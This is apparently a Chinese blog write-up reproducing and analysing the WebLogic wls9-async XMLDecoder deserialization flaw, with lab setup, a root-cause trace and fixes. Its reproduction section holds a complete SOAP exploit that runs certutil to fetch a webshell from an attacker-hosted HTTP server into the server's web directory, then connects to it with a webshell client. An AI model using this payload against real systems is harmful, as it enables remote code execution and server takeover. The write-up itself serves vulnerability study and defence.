weblogic wls9-async rce复现&分析

针对Weblogic wls9-async反序列化进行漏洞环境搭建及复现。

success.png

webshell

环境搭建

服务器需要安装jdk,这里采用1.7版本。

Oracle官网下载对应版本,这里使用的12.1.3(10.x版本也可以的)。

oracle-download.png

下载完成之后,通过java -jar fmw_12.1.3.0.0_wls.jar启动安装程序,默认安装即可。安装完成之后启动weblogic。

weblogic-start.png

通过浏览器访问查看服务是否启动。

weblogic-bro.png

漏洞复现

在攻击机上通过python启动一个web服务,该目录下放一个webshell。

1
2
python -m SimpleHTTPServer 80 # python2
python3 -m http.server # python3

由于是soap,先访问一下http://ip:port/_async/AsyncResponseService?WSDL ,看下格式结构。

weblogic-wsdl.png

通过SOAP-UI进行请求构建,新建一个soap,在Initial WSDL输入刚刚的url。

weblogic-soap.png

新建一个request请求。

new-requests.png

将下列代码贴进请求包中,需要注意的是string标签下面的ip、port、webshell.txt这些需要按照自己的环境进行修改。我的攻击机ip为192.168.100.5 port为80 webshell.txt为cmd.txt。

上传的路径:

12版本servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war/

10版本servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -urlcache -split -f http://192.168.100.5/cmd.txt servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war/cmd.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

点击request窗口的发送请求按钮,可以看到攻击机上的python web服务有访问请求,说明文件已经成功上传到服务器上。

python-httpserver.png

通过蚁剑或菜刀连接即可。

success.png

webshell

原理分析

使用JD-GUI打开对应War包。

1
2
3
4
5
6
7
8
9
Weblogic9:
/%WLS_HOME%/weblogic92/server/lib/bea_wls9_async_response.war

Weblogic 10:
/%WLS_HOME%/wlserver_10.3/server/lib/bea_wls9_async_response.war

Weblogic12:
/%WLS_HOME%/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

在web.xml里面可以看到基本都是指向weblogic.wsee.async.AsyncResponseBean

web-xml.png

跟进weblogic.wsee.async.AsyncResponseBean,可以得知有两个函数handleResult、handleFault。查看oracle官方对AsyncResponseBean类的描述,查看Method Detail,可以得知handleResult是当异步响应服务收到对请求正常时调用,handleFault是异常时调用。

根据官方文档可以得知AsyncResponseBean继承AbstractAsyncResponseBean类(%WLS_HOME%/server/lib/weblogic.jar)。在weblogic.wsee.async找到该类。

weblogic-abstractasync.png

由于不了解weblogic逻辑处理流程,根据查阅的资料所得:该处会与AddressingHandler、AsyncResponseHandler、WorkAreaHandler有关。

其中WorkAreaHandler被WorkAreaServerHandler和WorkAreaClientHandler继承,而WorkAreaServerHandler的27行处localWorkContextMapInterceptor.receiveRequest(**new** WorkContextXmlInputAdapter(localWorkAreaHeader.getInputStream()));可以看到接受请求用到了WorkContextXmlInputAdapter。

requests.png

跟进该类可以发现该类imoprt了XMLDecoder,而且并没有做过滤。XMLDecoder是用来将XML文件反序列化成java对象。

XMLDecoder.png

修复建议

1.删除对应war包;

2.禁用bea_wls9_async_response组件。

总结

这次分析还有存在疑难点:weblogic整体的逻辑处理流程是如何,这个需要后续是多了解。